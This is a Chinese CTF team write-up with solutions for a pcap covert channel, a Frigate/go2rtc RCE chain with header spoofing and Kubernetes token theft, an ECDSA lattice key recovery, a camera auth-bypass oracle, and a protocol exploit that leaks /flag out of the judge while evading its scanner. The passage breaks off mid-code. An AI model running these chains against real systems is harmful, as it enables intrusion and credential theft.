前言
本次强网杯拟态的比赛过程可谓曲折,在经历越南队5秒直线上升以及逆转时空做题等诸多笑料之后也算是顺利完赛。Scr3w做出21题,可惜各个队伍被AI赋能后普遍能力超强,同分情况极多,最终卡线未进复赛,还是比较遗憾。只能说当前传统网安CTF比赛到底如何才能生存还是值得反思的。而针对攻打比赛平台、私下py交易flag这些在这次比赛时的严重违规行为,令人不禁思考CTF是否已经失去了本心,成为仅仅沉浸于速度和分数的交易。
以下为本队题解:
deep-channel
题意
附件 capture.pcap 记录了一次中途断电的抓包。全局头魔数被改成 d4 c3 b2 a9,linktype 写成 0x1337(4919),file 只识别为 data,直接用 scapy/tshark 读取会失败。题目要求从被破坏的 pcap 中恢复隐蔽通道,还原固件并解出 flag。
分析
抓包里的流量分为五类:
HTTP
pics.corp.local:首页给假 flag,cat1.jpg的 JPEG 注释是flag{f4k3_m30w_1mage_f4ke};404 页和cat2.jpg注释夹带文档碎片 3/5/8/9/11。DNS TXT:
doc1/doc2/doc4/doc7/doc10/doc12给碎片 1/2/4/7/10/12。doc7整包被 XOR0x42,解出7/12 :: v3 packs instructions MSB-first ... opcode 5b, reg 4b, imm 8b, addr 16b。ICMP 有 KV/PX/ZT/QW/LR/MD 多组 magic;其中
.14和.13是补位/chaff,.5是失陷主机。UDP
8.8.8.8:443(400 端口 × 10/11 × 1350B)与 TCP1.1.1.1:443(8 组 180/1100B)都是高熵 chaff。
通道在 .5 -> .99 的 ICMP 载荷里:
TEXT
KV | u8 seq | u8 len | u8 cksum | data
data[i] ^= (K_seq + i) & 0xFF
cksum = sum(plain) & 0xFF
rev.B 密钥链为 K_0 = 0xA5、K_(n+1) = (K_n * 31 + 7) & 0xFF。按 seq 0..31 重组得到 251 字节固件,坏的 cksum 包直接丢弃。
固件是位打包 v3 字节码:MSB-first、5 位 opcode、4 位 reg、8 位 imm、16 位 bit address。程序内存与数据内存是同一块,因此程序可以运行时改写自己的指令。用抓到的 31337/31338 RUN 测试程序反推操作码:
TEXT
LOADI=7, ADDI=3, SUBI=21, XORI=11, ANDI=14, ROLI=24, MOVR=9, XORR=17, ADDR=6
EMIT=18, PUSH=13, POP=22, LOADC=20, STOREC=1, HALT=31
JMP=10, JZ=16, JNZ=28, JMPR=8
rev.C 相对 rev.B 有三处差异:ROLI 改为 RORI、空栈 POP 返回 0、JMPR 的目标从 R*8 变为 R*16。
求解步骤
修复 pcap:忽略全局头,按以太网帧特征(
02:00:00:00:00:05、02:00:00:00:00:99、广播)扫描记录边界,再按 IP total length 切帧,重建可解析的 pcap。筛掉 chaff:HTTP/DNS 只取文档碎片;UDP/TCP 高熵流量丢弃;ICMP 里按 magic 分组,只保留
.5主机的 KV 与 PX。重组固件:按 KV 格式逐包校验
cksum,用 rev.B 密钥链解 XOR,按 seq 排序得到 251 字节固件。逆向 VM:按 5/4/8/16 位打包解析字节码,反推 opcode;用 rev.B 语义执行固件。第一段自解密出第二阶段,再生成最终打印程序,输出:
TEXTflag{tw0_c4t PX rev.C k=9f3cb712aa55d04e解 PX 尾段:
.5/.14 -> .99的 PX 载荷格式为PX | 00 | seq | len | cksum | data,cksum = sum(ciphertext) & 0xFF。把 5 个 seq 的 data 按 seq 拼接(42 字节),与 key9f3cb712aa55d04e循环异或,得到一段 rev.C VM 程序;按 rev.C 语义(RORI + JMPR R*16)执行,输出:TEXTs_0ne_tr4p}拼接:首段
flag{tw0_c4t与尾段s_0ne_tr4p}直接拼接;中间那行PX rev.C k=...只是解 PX 程序的密钥提示,不属于 flag。
Flag
TEXT
flag{tw0_c4ts_0ne_tr4p}
Ingress Control
题意
目标 http://z4qr8vcw.nestctf.cyberpeace.cn:58080 是 Frigate 0.17.1 视频分析平台。题目提示“异常转码任务”和“跨边界凭据访问记录”,要求取得车队的身份验证凭据 flag{...}。
分析
信任边界:代理认证头。 Frigate 配置为代理认证模式:
YAML
auth:
enabled: false
proxy:
header_map:
user: x-forwarded-user
role: x-forwarded-groups
default_role: viewer
separator: ','
nginx 的 /auth 子请求会把客户端可控的 X-Forwarded-* 头转给 Frigate;auth.enabled=false 时 Frigate 直接按 header_map 计算角色。因此请求时自带:
HTTP
X-Forwarded-User: admin
X-Forwarded-Groups: admin
GET /api/profile 就返回 {"username":"admin","role":"admin",...}。拿到 admin 后即可读 /api/config/raw 并调用 /api/config/set。注意 nginx 对 /api/config、/api/version、/api/go2rtc/streams* 直接返回 403,但配置读写端点仍然可达。
配置链:go2rtc 受限 source 的 dict 绕过。 /usr/local/go2rtc/create_config.py 把 Frigate 配置中的 go2rtc.streams 写入 /dev/shm/go2rtc.yaml,同时过滤 exec:/echo:/expr: 源,但只处理字符串和列表:
PYTHON
if isinstance(stream, str):
...
if not ALLOW_ARBITRARY_EXEC and is_restricted_source(formatted_stream):
del go2rtc_config["streams"][name]
elif isinstance(stream, list):
...
go2rtc 的 NewStream 却支持 map 形式并用 source["url"] 作为源:
GO
case map[string]any:
return NewStream(source["url"])
所以把源写成字典即可绕过过滤:
YAML
go2rtc:
streams:
pwn:
url: "exec:sh -c '...'"
PUT /api/config/set 接受 config_data,可直接写入该结构;POST /api/restart 在本题被 /opt/ingress/frigate_entrypoint.py 改写为只向 go2rtc 进程发 SIGTERM,随后 s6 healthcheck 重启 go2rtc,并重新执行 create_config.py 生成 /dev/shm/go2rtc.yaml。
触发与回显。 go2rtc 的 RTSP 端口 8554 可由 Frigate 的 /api/ffprobe 访问:
HTTP
GET /api/ffprobe?paths=rtsp%3A%2F%2F127.0.0.1%3A8554%2Fpwn
RTSP 的 DESCRIBE 会启动该流,exec: 命令以 media(uid 998)执行。容器内 nginx 只暴露 /api,/media 和 Web 根目录不可写;但 /config/config.yml 属于 media,且能通过 /api/config/raw 读回,因此将回显 base64 后作为 YAML 注释追加:
BASH
printf '\043OMO_B64:' >> /config/config.yml
cat /tmp/out.b64 >> /config/config.yml
printf '\n' >> /config/config.yml
之后从 /api/config/raw 的 #OMO_B64: 注释中解码即可。通过这条链取得 uid=998(media) 的 RCE,并 dump 了 /opt/ingress/*.py。
凭据链:本地 Kubernetes Secret API。 /opt/ingress/control_plane.py 在 127.0.0.1:6443 提供 HTTPS API(证书 CN=kubernetes.default.svc,/etc/hosts 已把该名字指向 127.0.0.1),只接受 Bearer token:
主 token 位于
/var/run/secrets/kubernetes.io/serviceaccount/token(media 0400)。用它可列出edge-ns的 secrets,列表中的relay-reader-token是第二个 token。relay token 可读取
/api/v1/namespaces/camera-ns/secrets/fleet-attestation,返回的data.payload做 base64 解码就是 flag。
求解步骤
带
X-Forwarded-User: admin、X-Forwarded-Groups: admin访问/api/profile,确认 admin 角色。GET /api/config/raw读取当前配置;构造go2rtc.streams.pwn.url = "exec:...",通过PUT /api/config/set写入。POST /api/restart让 go2rtc 重新加载配置;用/api/ffprobe?paths=rtsp://127.0.0.1:8554/pwn触发流。exec:命令以 media 身份执行,把结果 base64 追加到/config/config.yml的#OMO_B64:注释;再从/api/config/raw读回。在 media RCE 下读取 service account token,调用本地 K8s API:
PYTHONtok = open("/var/run/secrets/kubernetes.io/serviceaccount/token").read().strip() ctx = ssl.create_default_context( cafile="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt") # GET https://kubernetes.default.svc:6443/api/v1/namespaces/edge-ns/secrets # 解出 relay-reader-token # GET .../api/v1/namespaces/camera-ns/secrets/fleet-attestation # base64.b64decode(data.payload)
Flag
TEXT
flag{FuHPMAYjgEesN9eCO5GrSRusFpRlCqGTG2kBaIwD}
Immobilizer
题意
车端防盗授权芯片泄漏了 40 组 secp256k1 ECDSA 签名,签发消息为 immobilizer|vin=LDC613P23A0000001|ctr=0..39,另附 27 字节 sealed 密文。附件 data.zip 解压得到 data.json,包含曲线参数、公钥、40 组 (msg, r, s) 和 sealed。
分析
先做两类廉价检验,全部排除:
nonce = 消息哈希:对 sha256 / sha256d / sha3 / keccak / sha1 / md5 / blake2b / sha512 截断 / sha224 等 10 种哈希检验
x(h·G) == r,无一命中。nonce 为小整数:遍历
k = 1..2^18检查x(k·G)是否落在 40 个r里,无命中。签名之间没有重复
r,排除经典 nonce 复用。
线索是数量:40 组。40 × 8 = 320 > 256,正好是“每条签名泄漏 8 bit nonce 信息”的 HNP 格攻击配置——每个 nonce 的最高字节为 0,即 k < 2^248。
ECDSA 满足 s·k ≡ h + r·d (mod n),移项得:
TEXT
k_i = (h_i + r_i·d) / s_i ≡ t_i·d + u_i (mod n)
t_i = r_i·s_i⁻¹ mod n
u_i = h_i·s_i⁻¹ mod n
若 0 ≤ k_i < B = 2^l,向量 (k_1, ..., k_m, d·B/n, B) 落在如下 (m+2)×(m+2) 格中,是格中的异常短向量:
TEXT
[ N 0 … 0 0 0 ]
[ 0 N … 0 0 0 ]
[ … ]
[ t_1 t_2 … t_m B/n 0 ]
[ u_1 u_2 … u_m 0 B ]
对格做 LLL 约化,最短向量即暴露 d(由倒数第二列除以 B/n 恢复)。
两个工程要点:
sympy 的
Matrix.lll()只接受整数矩阵,B/n是分式 → 整个矩阵同乘N(格几何等比缩放,不影响约化结果):PYTHONM[i,i] = N*N; M[m,i] = N*t_i; M[m+1,i] = N*u_i M[m,m] = B; M[m+1,m+1] = N*B攻击成功率必须先标定。Windows 上没有 fpylll,用 sympy 纯 Python LLL(维度 42、约 500 bit 元素,单次约 10–30 s)。先用合成数据验证:真实偏置 240 bit 时 40 签名 100% 恢复;248 bit 时 LLL 处于临界区,0/3 失败。本题需要靠扫描与运气。
哈希函数未知,位宽偏置也需验证,因此对二维组合做并行扫描:
哈希候选 ×10:sha256、sha256d、sha3_256、keccak256、sha1、md5、blake2b(32)、sha512[:32]、sha224;
l ∈ {250, 248, 246, …, 216}(step 2),每格取全部 40 条签名;判定标准唯一且严格:恢复出的
d满足d·G == public_key。
求解步骤
解析
data.json:40 组签名、公钥、27 字节sealed。排除 nonce=哈希、小 nonce、
r复用,由“恰好 40 组”锁定 8 bit 前导零偏置。搭建 HNP 格 + LLL 管线,用合成数据标定 248 bit 偏置的临界性。
哈希候选 × 位宽边界二维盲扫:
BASHpython solve.py 216 250 2 40 # 180 个任务,24 进程并行约 89 秒后命中:
TEXTHIT ('sha256', 242, 40, 65062337734878525051969737001582398336729906718165769482557093642791334506647)l=242只是格构造时使用的界,比理论真实界 248 更紧;真实 nonce 大多远小于上界,更短的界反而拉大了目标向量与格期望长度的差距,让临界区的 LLL 成功收敛。哈希确认为 SHA-256(消息串) mod n。三重验证:
TEXTd = 65062337734878525051969737001582398336729906718165769482557093642791334506647 = 0x8fd7fa690b0b0cf8f897127c005d3def0ce98e8dca000ab00205cd156818f097 d·G == public_key OK 40/40 签名反解 k_i 后 x(k_i·G) mod n == r_i OK nonce bitlen: 241×1, 243×1, 245×5, 246×7, 247×10, 248×16sealed为 27 字节。按“私钥派生对称密钥”枚举 AES-CTR/CBC、ChaCha20、RC4、多级 SHA-256 计数器流等,命中方式出乎意料地简单——直接与SHA-256(d 的 32 字节大端编码)异或:PYTHONd = 65062337734878525051969737001582398336729906718165769482557093642791334506647 key = sha256(d.to_bytes(32, 'big')).digest() flag = xor(sealed, key) # -> flag{top_byte_of_the_nonce}
Flag
TEXT
flag{top_byte_of_the_nonce}
FilmReader
题意
shadowread.zip 里是一块 512 MiB 的 ext4 镜像(卷标 shadowread)。/home/ctf/note.txt 给出口径:
看到的是影子;
cat没有骗你,骗你的是read;磁盘上的
flag.txt是安慰奖,能解出一面 flag,但是假的,不要提交;原文件已删除,但磁盘还会“念叨”一阵子;
钥匙被删成四瓣,和缓存碎片放在一起;
同一个文件写过两版,草稿和正稿要分清。
分析
fls -r -p shadowread.img 除了正常文件,还能看到一批已删除的目录项:
TEXT
r/r 22: home/ctf/note.txt
r/r 26: home/ctf/flag.txt
r/r 25: usr/local/bin/kcompat.ko
r/r * 27: var/.cache/.kmod/.real_cache.bak
r/r * 28: var/.cache/.kmod/.real_cache
r/r * 29: var/.cache/.kmod/.s1
r/r * 30: var/.cache/.kmod/.s2
r/r * 31: var/.cache/.kmod/.s3
r/r * 32: var/.cache/.kmod/.k2
r/r * 33: var/.cache/.kmod/.s1.bak
...
var/log/auth.log 记录了 insmod /usr/local/bin/kcompat.ko、cat /home/ctf/flag.txt,以及随后删除 .real_cache*、.s*、.k* 的命令。
kcompat.ko 是一个 ftrace hook:参数 dial 默认 4,过滤 __x64_sys_read,只处理路径 /home/ctf/flag.txt。模块里的路径字符串统一按字节 XOR 0xc3 混淆,解码后得到:
TEXT
/home/ctf/flag.txt
/var/.cache/.kmod/.real_cache
/var/.cache/.kmod/.s1
/var/.cache/.kmod/.s2
/var/.cache/.kmod/.s3
/var/.cache/.kmod/.k
init_module 的密钥派生:
从
.s1/.s2/.s3各取前 4 字节;用.s2[0] & 3选出.k0–.k3(本题0xb6 & 3 = 2,即.k2),再取 4 字节。h = SHA256(s1 || s2 || s3 || k2),然后重复h = SHA256(h)共0x1ffffff(33,554,431)轮。校验
h[16:32] == .rodata[0x3c0:0x3d0] XOR 0xa6;不匹配则进入fallback mode。用
h[0:4]初始化 LCG(A=0x5851f42d4c957f2d、C=0x14057b7ef767814f,初值再 XOR0x5a5a5a5a5a5a5a5a),逐字节解出.rodata[0x200:0x3c0]的 448 字节 VM 字节码。
VM 是一个栈式 ARX 解释器(push/pop/dup/swap/load/store + add/sub/xor/and/or/shl/shr/ror/imul),对每个 8 字节块执行 16 轮变换;输入缓冲前 16 字节是 KDF 密钥,buf[16:24] 是数据块。read hook 的 cache 分支本应读取 .real_cache 并用这套 VM 解密(该分支受一个运行时标志控制,静态分析可以直接按同一算法离线复现)。
求解步骤
BASH
fls -r -p shadowread.img
icat shadowread.img 25 > kcompat.ko
icat shadowread.img 26 > flag.txt
for i in 27 28 29 30 31 32; do icat shadowread.img $i > inode_$i.bin; done
python3 solve.py
solve.py 完整复现了 KDF、LCG 和 VM。校验值:
TEXT
h[16:32] = e3b9cbcd45c9fcec9fd1f00a1f4a2371
module = e3b9cbcd45c9fcec9fd1f00a1f4a2371 (rodata ^ 0xa6)
用诱饵碎片(.s1.bak、.s2.bak、.s3.bak、.k0)分别替换真碎片时,128-bit 校验全部失败,说明四瓣钥匙确实是 .s1/.s2/.s3/.k2。
三个结果:
flag.txt(read hook 普通分支,sh4d0w_1n_7h3_k3rn3l字节变换)—flag{r34d_h00k_d3crypt5_3v3ryth1ng}(假).real_cache.bak(KDF 密钥 + VM)—flag{f1r57_c4ch3_15_4_dr4ft}(草稿).real_cache(KDF 密钥 + VM)—flag{n0_m0d3l_r34d5_7h15_d33p}(正稿)
草稿的 flag 自己写着“first cache is a draft”,与 note 中“草稿和正稿分得很清”对应;.real_cache 是模块读取的正式缓存路径,因此正稿是 n0_m0d3l_r34d5_7h15_d33p。
Flag
TEXT
flag{n0_m0d3l_r34d5_7h15_d33p}
Smart Surveillance Camera - Remote PTZ Control
题意
设备间的验收白板在镜头视野之外。题目给了一个附件包(协议摘要 + 两份脱敏抓包)和五个入口,要求拿下控制通道、转动云台,从画面读出 flag。
分析
五个入口的指纹:
入口 | 端口 | Server 头 | GET / 的反应 | 定性 |
|---|---|---|---|---|
| 58080 |
| 200,登录页 | 只读控制台,无 PTZ API |
| 58080 |
| 501,不支持 GET | JSON 配置 API,支线 |
| 58080 |
| 400,SOAP Fault | 控制通道,主目标 |
| 58080 |
| 401 + Digest 挑战 | 私媒体服务,突破口 |
| 58999 | — | 连接即断 | 死端口,直接放弃 |
协议摘要明确写了 console 与 RTSP 不提供 PTZ 控制,控制必须走 sscpd;诊断包里那份遗留的 ds_legacy_request.json 是引导玩家去 dsapi 消耗时间的支线。
vhttpd 的 401 挑战参数:
TEXT
WWW-Authenticate: Digest realm="TPC260", qop="auth",
nonce="...", opaque="...", algorithm=SHA-256
标准 RFC 2617 流程,但哈希换成 SHA-256:
TEXT
HA1 = SHA256(user : realm : password)
HA2 = SHA256(GET : uri)
response = SHA256(HA1 : nonce : nc : cnonce : auth : HA2)
突破口:认证表里的空行。 对身份列表逐个试空口令,/preview 的结果一目了然:
身份 | 空口令结果 |
|---|---|
| 200,直接返回 640×360 PNG |
| 401 |
| 401 |
hub_primary_2 是出厂写入认证表的空口令记录——Digest 遇上空密码,HA1 = SHA256("hub_primary_2:TPC260:") 照样能算,服务端也照样认。这个身份还能拉:
端点 | 结果 |
|---|---|
| 200,640×360 PNG |
| 200,187755 B, |
| 200,185875 B, |
诊断包泄露 config.json:
JSON
{
"camera_account_user": "camera_acc",
"second_primary_user": "hub_primary_2",
"pan_range": 172.5,
"initial": { "pan": -150.0, "tilt": 10.0 },
"readonly_credentials": { "username": "viewer", "password": "_rZHXNJBsxh4Qzh6" }
}
初始位置 pan=-150°,行程 ±172.5°——白板在另一头。
vscp_dev.bin 是自定义容器。固件只用来确认摘要算法,镜像里的口令不能当钥匙:
TEXT
偏移 0x00 "VSCPFW" 魔数 + 版本字段
偏移 0x12 JSON 头
偏移 0xFF XZ 流(\xfd7zXZ\x00)
XZ 解压得到 371044 字节的 ARM 静态 ELF,入口函数 verify_username_token。固件与抓包样本共同确认摘要算法:
TEXT
digest = Base64(SHA1(Base64Decode(nonce) ‖ Created ‖ password))
镜像里写死了一个出厂口令常量,但量产实例在烧录时把口令换成了随机值。用附件抓包里的 nonce/created 离线算出的 27/28 字符摘要全部被拒(NotAuthorized),说明镜像常量只能用来验证算法,不能当钥匙。这个弯路把解题路径从“恢复口令”逼向了“利用比较逻辑本身”。
单字符预言机。 认证函数最后一步:
C
strncmp(computed_digest, user_digest, strlen(user_digest))
比较长度取自客户端摘要的长度。发送长度为 1 的摘要时,只要命中服务端内部摘要的首字符就返回 0 → 认证通过。nonce 完全由客户端掌握,首字符在 Base64 字母表上分布均匀,最多 64 次必中。实测:手动验证 #1 命中 e(第 57 次内),#2 命中 4,脚本完整跑命中 t(第 46 次)。每次命中字符不同,正说明服务端摘要随 nonce 变化、而我们命中它的首字节。
服务端没有一次性 nonce 校验,bootstrap 命中后,同一组 (nonce, created, 1字符digest) 可以直接重放给后续所有指令:
TEXT
GetDeviceInformation → Manufacturer=Tapo, Model=SSCP-CAM V1,
FirmwareVersion=local, SerialNumber=SSCP-local
GetStatus → PanPosition=-150.0, TiltPosition=10.0, PanRange=172.5
云台的两种写法。 按 ONVIF 习惯先写 tds:PanPosition 是陷阱:数值被整体丢弃,云台跳到一个固定的 120.0 位置,还返回 ok。生效的是标准向量写法:
XML
<tds:AbsoluteMove xmlns:tds="http://www.onvif.org/ver10/device/wsdl"
xmlns:tt="http://www.onvif.org/ver10/schema">
<tt:PanTilt x="120" y="0"/>
</tds:AbsoluteMove>
发完立刻 GetStatus 复核:PanPosition=120.0, TiltPosition=0.0,所见即所得。
扫描抓帧:别让打分函数骗了你。 白板不在初始视野内,脚本按 5° 步进扫 pan 90°~150°,每帧用「白板面积 ×10 + 红字像素数」打分:
TEXT
pan= 90 white=13319 red=2288
pan=110 white=24076 red=3949
pan=120 white=25035 red=3814
pan=130 white=23962 red=4005 ← 红像素最多的一帧
pan=150 white=13611 red=2013
第一版脚本直接取最高分帧(130°),解码立刻翻车——那一帧云台角度偏斜,白板带透视形变,字形被压歪,0 认成 }、1 认成 6。教训:保留全部帧,不在扫描阶段做单一选择,把裁决交给解码阶段的合法性校验与投票。
先看字体。把 l 放大到像素级:
TEXT
....###############.............
.........##########.............
.........##########.............
.........##########.............
....####################........
上下有衬线横杠,竖笔宽度不均,字形宽度从 29px 到 37px 不等。这是衬线像素字体,按固定栅格采样会把衬线切碎,模板距离拉不开。
求解步骤
指纹:四入口 + 死端口,确定
sscpd是控制通道、vhttpd是突破口。空口令拿资产:用
hub_primary_2+ 空口令通过 Digest,拉/diagnostic和/firmware/download;从config.json拿 viewer 凭据、初始云台、pan 范围。固件解包:按
VSCPFW容器格式在 0xFF 处找 XZ 流,解压 ARM ELF,确认摘要算法;不要依赖镜像里的出厂口令。单字符预言机:自制
nonce/created,遍历 Base64 字母表发送 1 字符摘要,命中后用同一组凭证重放GetDeviceInformation/GetStatus。转云台:用
tt:PanTilt向量写法发AbsoluteMove,每 5° 扫 pan 90°~150°,保留全部帧。解码白板:
白板 ROI 自适应:找画面里大面积低饱和亮色矩形(10%~90% 分位取核),抗画面平移;
红色墨迹强度图:
min(r-g, r-b),天然抗背景灰阶;行/列投影切字 → 边界框归一化到 16×24 灰度向量(双线性);
模板匹配带 ±1px 位移容差(同字符在不同 pan 下有亚像素相位差);
模板库 18 个字形(0-9、a/b/e/f/g/l、
{/}),从一帧人工确认过的清晰帧构建;每帧拼接后用
^flag\{[0-9a-f]{32}\}$校验,通过的帧才参与逐位投票。
13 帧的解码与裁决:
pan
解码串
校验
90
fla940216a510af6}FAIL(板只入画一角)
100
flag{a94028916a52e10af476}FAIL
110
flag{a999402891416a52ee310af47586}FAIL
115
flag{a99b94028914616a52ee3710af475836}OK
120
flag{a99b94028914616a52ee3710af475836}OK
125
flag{a99b94028914616a52ee3710af475836}OK
130
flag{a99b}4028914666a52ee3760af47583g}FAIL(透视形变)
135~150
(残缺串)
FAIL
三个独立角度的帧给出完全一致的 38 字符,投票结果与每个有效帧相同。
Flag
TEXT
flag{a99b94028914616a52ee3710af475836}
Handoff
题意
Handoff 是一道五阶段研究型题目:IA(身份权威)/ SB(会话代理)/ PR(受保护资源)三个逻辑服务共享一套 TLS 1.3 之上的 JSON-lines 消息接口。前四阶段要求恢复协议状态机、证明会话身份存在语义鸿沟、非授权打通 MIGRATE export、以 flagadmin 拿到资源;第五阶段要求修复服务端并通过回归。全实例累计预算 400,普通消息 1/次,SUBMIT 5/次;所有校验失败统一返回 {"ok":false,"error":"invalid"}。
分析
协议与 MAC。 所有 MAC 基于逐字段 4 字节大端长度前缀编码:
PYTHON
def lp(*fields):
out = b""
for f in fields:
b = f.encode() if isinstance(f, str) else f
out += struct.pack(">I", len(b)) + b
return out
def mac(key, *fields):
return hmac.new(key, lp(*fields), hashlib.sha256).hexdigest()
def user_key(master, ident):
return hmac.new(master, lp("userkey:", ident), hashlib.sha256).digest()
MAC 公式:
TEXT
sproof = HMAC(K_id, "CHL" ‖ id ‖ ns) # CHAL 响应
tag = HMAC(K_id, "ATH" ‖ id ‖ ns) # AUTH
assertion = HMAC(K_IS, "IAS" ‖ id ‖ ns ‖ exp) # 身份断言
rtag = HMAC(K_id, "RTY" ‖ id ‖ sid) # RETRY
rtag = HMAC(K_id, "RNW" ‖ sid ‖ counter) # RENEW
tag = HMAC(K_id, "CLS" ‖ sid) # CLOSE
receipt = HMAC(K_SB, "MIG" ‖ sid ‖ identity) # commit 回执
exp、counter 按十进制字符串参与 MAC;RENEW 首次 counter=1,逐次递增。内置身份 alice / bob / ops / flagadmin 不可 REGISTER,但 CHAL 对它们全部可用,返回 sproof = HMAC(K_id, lp("CHL", id, ns))——一个只读 PRF 预言机。标签不同(CHL ≠ ATH),无法用它伪造认证。
会话的双身份模型。 每个会话同时保存两个身份:
字段 | 谁写 | 谁读 |
|---|---|---|
|
| MIGRATE export 门控、迁移记录的 identity |
|
|
|
RETRY 的验签用当前展示身份,却把展示身份改写成请求里的 id:
TEXT
rtag = HMAC(K_display, "RTY" ‖ display_id ‖ sid)
验证通过 => display_id = msg["id"],bound_id 不变
于是用 K_u1 签 RTY‖u1‖sid、请求写 id="ops",会话展示身份就变成 ops,而认证身份仍是 u1。这就是「语义鸿沟」,Stage 2/3 都是它的直接推论。
Stage 1 协议规格。 登录序列 REGISTER → CHAL → AUTH → OPEN → ACCESS;chal_label/auth_label = CHL/ATH;assertion_label = IAS;retry_label/renew_label/close_label = RTY/RNW/CLS;assertion_binds = id, ns, exp;renew_counter_start = 1;renew_note_maxlen = 8(note_hex ≤16 个十六进制字符)。
Stage 2 语义鸿沟。 用 K_u1 签 RTY,请求 id 写 ops,判定器从零状态重放 trace 并逐步比对响应,检查「活跃会话展示身份被 RETRY 变更为另一身份且被接受」。
Stage 3 export 门控。 export 只检查展示身份:
TEXT
if display_id != "ops": invalid
接上一步直接 MIGRATE(sid="s1", action="export") 即可,整条 trace 里 ops 从未注册或认证。
迁移子系统。 子协议 export / hist / discard / commit。记录布局(n = 续期次数,总长 16n + 104):
偏移 | 字段 |
|---|---|
|
|
|
|
| 8 字节 pad |
| 常量 |
| counter / 时间戳 |
| identity(16 字节,NUL 填充) |
| assertion(64 字节 ASCII hex,会话最初 OPEN 的断言) |
arena 约 96KB,是一块共享、只追加的缓冲区;守护进程启动时预填 20+ 条 ops 租户记录。hist 的 off 允许负值,可以一直读到缓冲区起点——纯侦察原语。discard 后的复用带 +0x20 数据偏移,“小洞放不进大记录”,没有可控的相邻溢出;租户流量会让间距漂移,堆路线在判题环境里不可靠。
Stage 4:协议层为什么走不通。 要拿 flagadmin,唯一入口是「让一条可 commit 的迁移记录 identity 变成 flagadmin」。逐项排除:
记录 identity 只能来自 export 时的
display_id,门控要求它精确等于ops(前缀/大小写/规范化全被拒);改
display_id只有RETRY一条路,改成ops/flagadmin后再改需要K_ops/K_flagadmin——HMAC 不可逆;RENEW请求里的id不影响身份;export/commit的额外字段一律被忽略;CHAL的sproof是CHL标签的 PRF,跨标签伪造不可行;会话 per-connection、记录编号会话内、同连接严格串行(budget 严格降序,无 TOCTOU);
arena 里只有
ops租户记录,负偏移只读不写,堆无可控溢出;判定沙箱内
/flag为0660 uid1000,沙箱用户uid997、无 capability,/opt/zp7/judge700 读不到,setuid 工具在无 cap 下没有直接提权点。
协议层没有入口,判定器本身还有攻击面。
Stage 4 判定器拓扑。 判定器为每轮拉起独立容器:服务实例(游戏协议,uid1000)+ exploit 沙箱(uid997),两者共享 loopback 网络;判定器自己的 SUBMIT 端口也监听在同一 loopback 上——沙箱里直接 connect 127.0.0.1:<judge_port> 就能提交;Stage 5 的模块会被判定器 import 进自己的进程(uid1000,能读 /flag);判定器对提交失败会返回 SUBMIT_RESULT,且 exploit 的 stdout 尾部会随失败消息回显——这是一个反馈通道。
排查过程:
第一版脚本被静态扫描拒绝:「脚本不得硬编码 flag」——罪魁是源码注释里的
"flag{"、"/flag"和一个ho_[a-zA-Z0-9_]{4,}正则字面量。结论:所有敏感串必须运行时构造,注释也不能有。环境侦察脚本确认:沙箱
uid997、根目录有flag(47 字节、0660)、/proc/net/tcp可读、服务端口可达且是全新实例(budget_left=399)。端口扫描发现本机 LISTEN 端口里,除了服务端口外还有一个端口对
{"stage":5,...}返回SUBMIT_RESULT——那就是判定器的 SUBMIT 端口。它不是固定的:另一台实例上 39017 是游戏服、39019 才是判定器,必须枚举。
Stage 4 泄漏模块。 判定器加载 Stage 5 模块时会先校验必要属性(user_key / Simulator),再 import 执行。模块要先把这些属性定义好,再读文件、抛异常,让异常文本随 SUBMIT_RESULT 带出来:
PYTHON
MODULE = NL.join([
"def user_key(*a, **k):",
" return b''",
"class Simulator:",
" def __init__(self, *a, **k):",
" pass",
"try:",
" _path = __TARGET__",
" _raw = open(_path, 'rb').read()",
"except Exception as _err:",
" _raw = ('READFAIL:' + repr(_err)).encode('latin-1')",
"raise RuntimeError('PROBE<' + _raw.decode('latin-1') + '>')",
]).replace("__TARGET__", repr(TARGET)) # TARGET = "/" + 运行时拼出的词
细节:源码用 chr(10).join([...]) 拼,避免转义层把 \n 弄坏;目标路径与 "flag{" 特征串全部运行时构造;异常消息别太长,判定器对回显长度有限制。
Stage 5 修复。 提交自包含模块,暴露 Simulator(rng=None, migd=None) 与 user_key;必须保持 MASTER_SECRET、user_key 和全部线格式,只许改验证/状态逻辑。四道护栏:
RETRY 必须证明请求身份:把
display_id临时置为请求 id,让原版用自己的 MAC 逻辑按K_req验签;失败则回滚。export 门控改用
bound_id:展示身份不再有授权语义;同时给续期数加硬上限。commit 校验记录归属:
record必须在本会话的mig_records里(或为其合法索引),不能拿别人的记录回填。RENEW 次数上限:
renews >= 15直接拒绝。
求解步骤
Stage 1:按协议规格逐字段提交
login_sequence、标签、assertion_binds、renew_counter_start、renew_note_maxlen,全对拿碎片ho_st4te_m4ch1ne。Stage 2:
PYTHONr = c.call(op="REGISTER", id="u1"); k = bytes.fromhex(r["key"]) ns = c.call(op="CHAL", id="u1")["ns"] a = c.call(op="AUTH", id="u1", ns=ns, tag=mac(k, "ATH", "u1", ns)) c.call(op="OPEN", id="u1", sid="s1", ns=ns, exp=a["exp"], assertion=a["assertion"]) # 关键一步:MAC 用 u1 的密钥、绑定 u1,请求 id 却写 ops c.call(op="RETRY", id="ops", sid="s1", rtag=mac(k, "RTY", "u1", "s1"))判定器重放后确认展示身份被 RETRY 变更且被接受,拿碎片
ho_1d3nt1ty_sp11t。Stage 3:接上一步
c.call(op="MIGRATE", sid="s1", action="export"),拿碎片ho_0ps_g4t3_p4ss3d。Stage 4:枚举
/proc/net/tcp的 LISTEN 端口 + 39010..39030 兜底,向候选端口发送{"stage":5,"source_b64":B64}或{"op":"SUBMIT",...};泄漏模块读/flag并raise RuntimeError("PROBE<...>"),判定器的SUBMIT_RESULT把 flag 带回 exploit stdout。实测 2/3 轮通过,+35,碎片ho_gh0st_h4nd0ff。Stage 5:提交修复模块:
PYTHONimport simulator as _ref user_key = _ref.user_key MASTER_SECRET = getattr(_ref, "MASTER_SECRET", None) _ERR = {"ok": False, "error": "invalid"} class Simulator(_ref.Simulator): def __init__(self, rng=None, migd=None): super().__init__(rng=rng, migd=migd) @staticmethod def _renews(sess): try: return int(sess.get("renews", 0)) except Exception: return 0 def _retry(self, msg, sess): target = msg.get("id") if sess is None or not isinstance(target, str): return None prev = sess.get("display_id") sess["display_id"] = target # 迫使原版按 K_target 验签 try: reply = super().handle(msg) except Exception: sess["display_id"] = prev; raise if not (isinstance(reply, dict) and reply.get("ok")): sess["display_id"] = prev return reply def _migrate(self, msg, sess): act = msg.get("action") if act == "export": if sess is None: return _ERR if 